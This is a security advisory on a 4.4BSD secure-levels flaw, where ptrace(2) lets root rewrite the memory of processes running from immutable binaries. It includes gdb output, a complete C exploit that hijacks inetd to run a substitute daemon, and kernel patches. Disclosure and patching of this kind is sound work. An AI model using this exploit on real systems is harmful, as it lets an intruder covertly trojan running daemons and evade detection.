COMMAND
secure levels
SYSTEMS AFFECTED
4.4BSD Secure Levels Implementation (BSD/OS, FreeBSD, NetBSD, OpenBSD)
PROBLEM
Niall Smart found following. 4.4BSD introduced the concept of
"secure levels" which are intended to allow the system
administrator to protect the kernel and system files from
modification by intruders. When the system is running in secure
mode file flags can be used to indicate that anyone, even the
superuser, should be prevented from deleting or modifying the
file, or that write access should be restricted to append-only.
In addition device files such as /dev/kmem and those for disk
devices are only available for read access. This protection is
not intended to prevent system compromise, but instead is a damage
limitation measure -- by preventing intruders who have compromised
the root account from deleting logs of the intrusion or planting
"trojan horses" their ability to hide their presence on the system
or covertly gather sensitive information is reduced. A
vulnerability has been discovered in all current implementations
of secure levels which allow an intruder to modify the memory
image of running processes, thereby bypassing the protection
applied to system binaries and their configuration files. The
vulnerability cannot be exploited to modify the init process,
kernel memory or the protected files themselves.
The ptrace(2) system call can be used to modify the memory image
of another process. It is typically used by debuggers and other
similar utilities. Due to inadequate checking, it is possible to
use ptrace(2) to modify the memory image of processes which have
been loaded from a file which has the immutable flags set. As
mentioned, this does not apply to the init process. This
vulnerability is significant in that it allows an intruder to
covertly modify running processes. The correct behaviour is to
make the address space of these processes immutable. Although an
intruder can still kill them and start others in their place, the
death of system daemons will (should) draw attention on secure
systems. Here comes the exploit.
There are a variety of daemons which an intruder would wish to
trojan, inetd being one of the most obvious. Once the intruder
controls inetd, any network logins handled by daemons started by
inetd are completely under the control of the intruder. Other
important daemons which are likely to be attacked include sshd,
crond, syslogd, and getty. Here's present sample code which shows
how to use ptrace(2) to attach to and control a running inetd and
so that it starts daemons which we choose instead of those
specified in inetd.conf. For the sake of explanation we will use
the FreeBSD version of inetd compiled with debugging symbols. If
you look at the inetd source you will see that it uses an array of
struct servtab which represents the services specified in
inetd.conf. The se_server member of struct servtab specifies the
path to the server which handles requests for the service. When
inetd accepts a new connection it searches this array for the
appropriate entry, stores a pointer to the entry in the variable
sep and then forks, the child then fiddles with file descriptors
and execs the server. The fork happens on line 490 of inetd.c,
we insert a breakpoint at this instruction and when we hit it
modify the se_server member of the struct servtab which sep
points to. We then insert another breakpoint later in the code
which only the parent process will execute and continue, when we
hit that breakpoint we change the se_server back to what it was.
Meanwhile, the child process continues and executes whatever
server we have told it to.
# gdb --quiet ./inetd
(gdb) list 489,491
489 }
490 pid = fork();
491 }
(gdb) break 490
Breakpoint 2 at 0x1f76: file inetd.c, line 490.
(gdb) p &sep
Address requested for identifier "sep" which is in a register.
(gdb) p sep
$1 = (struct servtab *) 0x1
(gdb) info reg
eax 0x0 0
ecx 0xefbfda50 -272639408
edx 0x2008bf48 537444168
ebx 0xefbfda90 -272639344
esp 0xefbfd968 0xefbfd968
ebp 0xefbfda68 0xefbfda68
esi 0x1 1
edi 0x0 0
eip 0x1914 0x1914
eflags 0x246 582
cs 0x1f 31
ss 0x27 39
ds 0x27 39
es 0x27 39
(gdb)
So, the first breakpoint address is at 0x1F76, and the sep
variable has been placed in the register %esi which makes writing
the exploit a bit easier. After the fork we want to stop the
parent process only, inserting a breakpoint at line 502 will
achieve that:
(gdb) list 501,503
501 if (pid)
502 addchild(sep, pid);
503 sigsetmask(0L);
(gdb) break 502
Breakpoint 1 at 0x1fc8: file inetd.c, line 502.
Line 502 corresponds to the instruction at 0x1FC8. Finally, we
will need some unused memory to write in the string for our
replacement daemon, for this we can simply overwrite the code
that performs the option processing:
(gdb) break 325
Breakpoint 2 at 0x1a9a: file inetd.c, line 325.
We take 64 bytes from 0x1A9A. Here is the exploit, the first
three arguments specify the first and second breakpoints and the
address of the spare memory and the last is the pid of the inetd
to attach to. [ Note to script kiddies: you need root on the
system first ]
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <machine/reg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <errno.h>
#include <unistd.h>
#if defined(__FreeBSD__)
#define SE_SERVER_OFF 44
#elsif defined(__OpenBSD__)
#define SE_SERVER_OFF 48
#endif
#define INSN_TRAP 0xCC
#define ARRSIZE(x) (sizeof(x) / sizeof((x)[0]))
#define Ptrace(req, pid, addr, data) _Ptrace(req, #req, pid, (caddr_t) addr, data)
void sig_handler(int unused);
sig_atomic_t finish = 0;
int pid;
int _Ptrace(int req, const char* reqname, pid_t pid, caddr_t addr, int data)
{
int ret = ptrace(req, pid, addr, data);
if (ret < 0 && errno != 0) {
fprintf(stderr, "ptrace %s: %s\n", reqname, strerror(errno));
exit(EXIT_FAILURE);
}
/* this shouldn't be necessary */
#ifdef __FreeBSD__
if (req == PT_DETACH)
kill(pid, SIGCONT);
#endif
return ret;
}
void
sig_handler(int unused)
{
/* we send the child a hopelessly harmful signal to break outselves
* out of ptrace */
finish = 1;
kill(pid, SIGINFO);
}
struct replace {
char* old;
char* new;
};
int
main(int argc, char** argv)
{
struct reg regs;
int insn;
int svinsn;
caddr_t breakaddr;
caddr_t oldaddr;
caddr_t spareaddr;
caddr_t addr;
caddr_t nextaddr;
caddr_t contaddr;
char buf[64];
char* ptr;
struct replace* rep;
struct replace replace[] = { { "/bin/cat", "/bin/echo" } };
if (argc != 5) {
fprintf(stderr, "usage: %s <breakaddr> <nextaddr> <spareaddr> <pid>\n", argv[0]);
exit(EXIT_FAILURE);
}
breakaddr = (caddr_t) strtoul(argv[1], 0, 0);
nextaddr = (caddr_t) strtoul(argv[2], 0, 0);
spareaddr = (caddr_t) strtoul(argv[3], 0, 0);
pid = atoi(argv[4]);
signal(SIGINT, sig_handler);
signal(SIGTERM, sig_handler);
signal(SIGQUIT, sig_handler);
/*
* attach her up
*/
Ptrace(PT_ATTACH, pid, 0, 0);
wait(0);
Ptrace(PT_GETREGS, pid, ®s, 0);
printf("%%esp = %#x\n", regs.r_esp);
printf("%%ebp = %#x\n", regs.r_ebp);
printf("%%eip = %#x\n", regs.r_eip);
contaddr = (caddr_t) 1;
while (1) {
/*
* replace the lowest byte of the dw at the specified address
* with a breakpoint insn
*/
svinsn = Ptrace(PT_READ_D, pid, breakaddr, 0);
insn = (svinsn & ~0xFF) | INSN_TRAP;
Ptrace(PT_WRITE_D, pid, breakaddr, insn);
printf("%x ==> %x @ %#x\n", svinsn, insn, (int) breakaddr);
/* continue till we hit the breakpoint */
Ptrace(PT_CONTINUE, pid, contaddr, 0);
do {
/* FreeBSD reports signals twice, it shouldn't do that */
int sig;
int status;
wait(&status);
sig = WSTOPSIG(status);
printf("process received signal %d (%s)\n", sig, sys_siglist[sig]);
if (finish)
goto detach;
if (sig == SIGTRAP)
break;
Ptrace(PT_CONTINUE, pid, 1, WSTOPSIG(status));
} while(1);
Ptrace(PT_GETREGS, pid, ®s, 0);
printf("hit breakpoint at %#x\n", (int) regs.r_eip - 1);
/* copy out the pathname of the daemon it's trying to run */
oldaddr = (caddr_t) Ptrace(PT_READ_D, pid, regs.r_esi + SE_SERVER_OFF, 0);
for (ptr = buf, addr = oldaddr; ptr < &buf[ARRSIZE(buf)]; ptr += 4, addr += 4)
*(int*)ptr = Ptrace(PT_READ_D, pid, addr, 0);
printf("daemon path ==> %s @ %#x\n", buf, (int)oldaddr);
/* check if we want to substitute our own */
for (rep = replace; rep < &replace[ARRSIZE(replace)] || (rep = 0); rep++)
if (!strcmp(rep->old, buf)) {
printf("%s ==> %s\n", rep->old, rep->new);
break;
}
/* copy the substitute pathname to some unused location */
if (rep != 0) {
strcpy(buf, rep->new);
for (ptr = buf, addr = spareaddr; ptr < &buf[sizeof(buf)]; ptr += 4, addr += 4)
Ptrace(PT_WRITE_D, pid, addr, *(int*)ptr);
Ptrace(PT_WRITE_D, pid, regs.r_esi + SE_SERVER_OFF, (int) spareaddr);
}
/*
* replace the original instruction, set a breakpoint on the next
* instruction we want to break in and then reset the daemon path,
* and remove the last breakpoint. We could just single step over
* the for syscall but all the crap involved in calling a fn in a
* dll makes it easier to just to set a breakpoint on the next
* instruction and wait till we hit that
*/
Ptrace(PT_WRITE_D, pid, breakaddr, svinsn);
svinsn = Ptrace(PT_READ_D, pid, nextaddr, 0);
insn = (svinsn & ~0xFF) | INSN_TRAP;
Ptrace(PT_WRITE_D, pid, nextaddr, insn);
Ptrace(PT_CONTINUE, pid, breakaddr, 0);
wait(0);
Ptrace(PT_GETREGS, pid, ®s, 0);
printf("stepped instruction to %#x\n", regs.r_eip);
Ptrace(PT_WRITE_D, pid, nextaddr, svinsn);
contaddr = nextaddr;
/* put back the original path */
if (rep != 0)
Ptrace(PT_WRITE_D, pid, regs.r_esi + SE_SERVER_OFF, (int) oldaddr);
}
detach:
printf("detaching\n");
Ptrace(PT_WRITE_D, pid, breakaddr, svinsn);
Ptrace(PT_DETACH, pid, 1, 0);
return 0;
}
So, lets try it out:
# cat inetd.conf
afs3-fileserver stream tcp nowait root /bin/cat cat /root/inetd.conf
# telnet localhost 7000
Trying 127.0.0.1...
Connected to localhost
Escape character is '^]'.
afs3-fileserver stream tcp nowait root /bin/cat cat /root/inetd.conf
Connection closed by foreign host.
# ps -aux | grep inetd
root 1233 0.0 0.9 204 556 ?? SXs 11:41AM 0:00.02 ./inetd /root/inetd.conf
# ./ptrace 0x1F76 0x1FC8 0x1A9A 1233 >/dev/null 2>&1 &
[1] 1267
# telnet localhost 7000
Trying 127.0.0.1...
Connected to localhost
Escape character is '^]'.
/root/inetd.conf
Connection closed by foreign host.
#
SOLUTION
OpenBSD patched this problem. The following patches apply to
FreeBSD-current and will apply to FreeBSD-stable with some
tweaking of the line numbers.
--- kern/sys_process.c Mon Jun 8 11:47:03 1998
+++ kern/sys_process.c Mon Jun 8 11:49:53 1998
@@ -37,6 +37,7 @@
#include <sys/proc.h>
#include <sys/vnode.h>
#include <sys/ptrace.h>
+#include <sys/stat.h>
#include <machine/reg.h>
#include <vm/vm.h>
@@ -208,6 +209,7 @@
struct proc *p;
struct iovec iov;
struct uio uio;
+ struct vattr va;
int error = 0;
int write;
int s;
@@ -246,6 +248,11 @@
/* can't trace init when securelevel > 0 */
if (securelevel > 0 && p->p_pid == 1)
return EPERM;
+
+ if((error = VOP_GETATTR(p->p_textvp, &va, p->p_ucred, p)) != 0)
+ return(error);
+ if(va.va_flags & (IMMUTABLE|NOUNLINK))
+ return(EPERM);
/* OK */
break;
--- kern/kern_exec.c Sun Jun 7 17:23:14 1998
+++ kern/kern_exec.c Tue Jun 9 14:08:10 1998
@@ -655,6 +655,8 @@
error = VOP_GETATTR(vp, attr, p->p_ucred, p);
if (error)
return (error);
+ if((p->p_flag & P_TRACED) && (attr.va_flags & (IMMUTABLE|NOUNLINK)))
+ return (EACCES);
/*
* 1) Check if file execution is disabled for the filesystem that this
--- miscfs/procfs/procfs_vnops.c Tue May 19 09:15:00 1998
+++ miscfs/procfs/procfs_vnops.c Wed Jun 10 16:23:33 1998
@@ -129,6 +129,8 @@
{
struct pfsnode *pfs = VTOPFS(ap->a_vp);
struct proc *p1, *p2;
+ int error;
+ struct vattr va;
p2 = PFIND(pfs->pfs_pid);
if (p2 == NULL)
@@ -144,6 +146,12 @@
if (!CHECKIO(p1, p2) &&
!procfs_kmemaccess(p1))
return (EPERM);
+
+ error = VOP_GETATTR(p2->p_textvp, &va, p1->p_ucred, p1);
+ if(error)
+ return(error);
+ if(va.va_flags & IMMUTABLE)
+ return(EPERM);
if (ap->a_mode & FWRITE)
pfs->pfs_flags = ap->a_mode & (FWRITE|O_EXCL);
Darren Reed posted his patch. Rather than block out all ptrace
access to processes, maybe it is more appropriate to protect all
processes on a system where securelevel > 0 - irrespective of
whether or not it's init or immutable - from operations which
could `change' it if it is an immutable executeable. Below is his
"better" patch - allows ptrace to be used in read-only mode on
immutable processes (or init) where the system is running where
securelevel > 0.
*** sys_process.c.orig Sun Jun 14 01:17:14 1998
--- sys_process.c Sun Jun 14 01:39:15 1998
***************
*** 37,42 ****
--- 37,43 ----
#include <sys/proc.h>
#include <sys/vnode.h>
#include <sys/ptrace.h>
+ #include <sys/stat.h>
#include <sys/errno.h>
#include <sys/queue.h>
***************
*** 243,248 ****
--- 244,253 ----
if (p->p_flag & P_TRACED)
return EBUSY;
+ /* Tracing a system process doesn't work anyway */
+ if (p->p_flag & P_SYSTEM)
+ return EINVAL;
+
/* not owned by you, has done setuid (unless you're root) */
if ((p->p_cred->p_ruid != curp->p_cred->p_ruid) ||
(p->p_flag & P_SUGID)) {
***************
*** 250,268 ****
return error;
}
- /* can't trace init when securelevel > 0 */
- if (securelevel > 0 && p->p_pid == 1)
- return EPERM;
-
/* OK */
break;
- case PT_READ_I:
- case PT_READ_D:
- case PT_READ_U:
case PT_WRITE_I:
case PT_WRITE_D:
case PT_WRITE_U:
case PT_CONTINUE:
case PT_KILL:
case PT_STEP:
--- 255,284 ----
return error;
}
/* OK */
break;
case PT_WRITE_I:
case PT_WRITE_D:
case PT_WRITE_U:
+ #ifdef PT_SETREGS
+ case PT_SETREGS:
+ #endif
+ #ifdef PT_SETFPREGS
+ case PT_SETFPREGS:
+ #endif
+ if ((error = VOP_GETATTR(p->p_textvp, &va, p->p_ucred, p)) != 0)
+ return error;
+ /*
+ * disallow changes to immutable executeables running in a
+ * `secure' kernel environment.
+ */
+ if ((securelevel > 0) &&
+ ((va.va_flags & (IMMUTABLE|NOUNLINK)) || (p->p_pid == 1)))
+ return EPERM;
+ case PT_READ_I:
+ case PT_READ_D:
+ case PT_READ_U:
case PT_CONTINUE:
case PT_KILL:
case PT_STEP:
***************
*** 270,283 ****
#ifdef PT_GETREGS
case PT_GETREGS:
#endif
- #ifdef PT_SETREGS
- case PT_SETREGS:
- #endif
#ifdef PT_GETFPREGS
case PT_GETFPREGS:
- #endif
- #ifdef PT_SETFPREGS
- case PT_SETFPREGS:
#endif
/* not being traced... */
if ((p->p_flag & P_TRACED) == 0)
--- 286,293 ----
*** procfs_vnops.c.orig Sun Jun 14 01:25:29 1998
--- procfs_vnops.c Sun Jun 14 01:27:54 1998
***************
*** 121,126 ****
--- 121,128 ----
{
struct pfsnode *pfs = VTOPFS(ap->a_vp);
struct proc *p1 = ap->a_p, *p2 = PFIND(pfs->pfs_pid);
+ int error;
+ struct vattr va;
if (p2 == NULL)
return ENOENT;
***************
*** 135,144 ****
(p1->p_cred->pc_ucred->cr_gid != KMEM_GROUP))
return EPERM;
!
! if (ap->a_mode & FWRITE)
pfs->pfs_flags = ap->a_mode & (FWRITE|O_EXCL);
!
return (0);
default:
--- 137,150 ----
(p1->p_cred->pc_ucred->cr_gid != KMEM_GROUP))
return EPERM;
! error = VOP_GETATTR(p2->p_textvp, &va, p1->p_ucred, p1);
! if (error)
! return error;
! if (ap->a_mode & FWRITE) {
! if (va.va_flags & IMMUTABLE)
! return EPERM;
pfs->pfs_flags = ap->a_mode & (FWRITE|O_EXCL);
! }
return (0);
default: